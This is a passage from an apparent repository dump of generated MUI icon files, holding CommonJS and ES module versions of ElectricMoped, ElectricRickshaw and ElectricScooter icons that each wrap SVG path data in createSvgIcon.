1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMopedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2.65L13.52 12H10V8c0-.55-.45-1-1-1H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4H6c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1m10 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMopedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8.35V3h-5v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMopedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8.35V3h-5v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMopedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11v1h4V9H6c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m1-3H4v-1c0-1.1.9-2 2-2h2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"2\")], 'ElectricMopedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11v1h4V9H6c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m1-3H4v-1c0-1.1.9-2 2-2h2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"2\")], 'ElectricMopedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshaw.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M18.4 9H16V6.12zM3 5h4v4H3zm3 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3-2v-2h3V9H9V5h5v8zm11 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshaw');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshaw.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M18.4 9H16V6.12zM3 5h4v4H3zm3 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3-2v-2h3V9H9V5h5v8zm11 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshaw');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M6 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.83c-.31-.11-.65-.17-1-.17-1.3 0-2.42.84-2.83 2H3v-3h4zM7 8H3V5h4zm7 5H9v-3h3V8H9V5h5zm2-6.88L18.4 9H16zM17.17 13H16v-2h3v.17c-.85.3-1.53.98-1.83 1.83M20 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshawOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M6 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.83c-.31-.11-.65-.17-1-.17-1.3 0-2.42.84-2.83 2H3v-3h4zM7 8H3V5h4zm7 5H9v-3h3V8H9V5h5zm2-6.88L18.4 9H16zM17.17 13H16v-2h3v.17c-.85.3-1.53.98-1.83 1.83M20 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshawOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M18.4 9H16V6.12zM4 5h3v4H3V6c0-.55.45-1 1-1m2 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3-2v-2h2c.55 0 1-.45 1-1s-.45-1-1-1H9V5h4c.55 0 1 .45 1 1v7zm11 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshawRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M18.4 9H16V6.12zM4 5h3v4H3V6c0-.55.45-1 1-1m2 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3-2v-2h2c.55 0 1-.45 1-1s-.45-1-1-1H9V5h4c.55 0 1 .45 1 1v7zm11 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshawRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.18V9l-5-6H1v12h2.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.48 1.34 1.86 2.25 3.42 1.94 1.16-.23 2.11-1.17 2.33-2.33.31-1.56-.6-2.95-1.94-3.43M18.4 9H16V6.12zM3 5h4v4H3zm3 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3-2v-2h3V9H9V5h5v8zm11 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshawSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.18V9l-5-6H1v12h2.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.48 1.34 1.86 2.25 3.42 1.94 1.16-.23 2.11-1.17 2.33-2.33.31-1.56-.6-2.95-1.94-3.43M18.4 9H16V6.12zM3 5h4v4H3zm3 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3-2v-2h3V9H9V5h5v8zm11 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}), 'ElectricRickshawSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h.17c.41-1.16 1.53-2 2.83-2 .35 0 .69.06 1 .17V10H3zm16-2h-3v2h1.17c.3-.85.98-1.53 1.83-1.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M6 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.83c-.31-.11-.65-.17-1-.17-1.3 0-2.42.84-2.83 2H3v-3h4zM7 8H3V5h4zm7 5H9v-3h3V8H9V5h5zm2-6.88L18.4 9H16zM17.17 13H16v-2h3v.17c-.85.3-1.53.98-1.83 1.83M20 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricRickshawTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricRickshawTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h.17c.41-1.16 1.53-2 2.83-2 .35 0 .69.06 1 .17V10H3zm16-2h-3v2h1.17c.3-.85.98-1.53 1.83-1.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.18V9.72c0-.47-.16-.92-.46-1.28L16.6 3.72c-.38-.46-.94-.72-1.54-.72H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h.18C3.6 16.16 4.7 17 6 17s2.4-.84 2.82-2h8.37c.41 1.16 1.51 2 2.82 2 1.66 0 3-1.34 3-3-.01-1.3-.85-2.4-2.01-2.82M6 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.83c-.31-.11-.65-.17-1-.17-1.3 0-2.42.84-2.83 2H3v-3h4zM7 8H3V5h4zm7 5H9v-3h3V8H9V5h5zm2-6.88L18.4 9H16zM17.17 13H16v-2h3v.17c-.85.3-1.53.98-1.83 1.83M20 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricRickshawTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooter');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooter');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H13c-.55 0-1 .45-1 1s.45 1 1 1h2.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H13c-.55 0-1 .45-1 1s.45 1 1 1h2.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74L17.49 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74L17.49 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterTwoTone.js",
